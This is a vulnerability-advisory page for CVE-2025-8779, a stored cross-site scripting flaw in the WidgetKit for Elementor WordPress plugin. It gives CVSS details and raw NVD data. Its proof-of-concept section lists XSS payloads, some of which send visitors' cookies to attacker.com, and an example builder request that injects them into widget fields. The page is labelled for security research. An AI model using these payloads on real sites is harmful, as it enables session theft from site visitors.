Security Vulnerability Report
中文
CVE-2025-8779 CVSS 6.4 MEDIUM

CVE-2025-8779

Published: 2025-12-13 16:16:56
Last Modified: 2026-04-15 00:35:42

Description

The All-in-One Addons for Elementor – WidgetKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Team and Countdown widgets in all versions up to, and including, 2.5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

All-in-One Addons for Elementor – WidgetKit <= 2.5.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-8779 Stored XSS PoC // Affected: WidgetKit for Elementor <= 2.5.6 // Attack Vector: Team widget or Countdown widget // Method 1: Via Team Widget // Add a Team widget to a page and inject XSS payload in name/description fields: // Payload: <img src=x onerror=alert(document.domain)> // or: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script> // Method 2: Via Countdown Widget // In countdown widget settings, inject payload in title or message fields: // Payload: <svg onload=alert(document.cookie)> // The malicious script will execute for all users viewing the affected page. // No user interaction required (UI:N) - script executes on page load. // Example HTTP request structure (authenticated as contributor+): const pocPayload = { action: 'elementor_ajax', commands: ['save_builder'], data: { elements: [{ id: 'element_id', widgetType: 'widgetkit_team', settings: { name: '<script>alert("XSS")</script>', description: '<img src=x onerror=fetch("https://attacker.com?c="+btoa(document.cookie))>' } }] } };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8779", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:56.433", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The All-in-One Addons for Elementor – WidgetKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Team and Countdown widgets in all versions up to, and including, 2.5.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3378162%40widgetkit-for-elementor&new=3378162%40widgetkit-for-elementor&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/widgetkit-for-elementor/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/dbbdf433-8589-4f5f-b73d-2dba58f684a7?source=cve", "source": "[email protected]"}]}}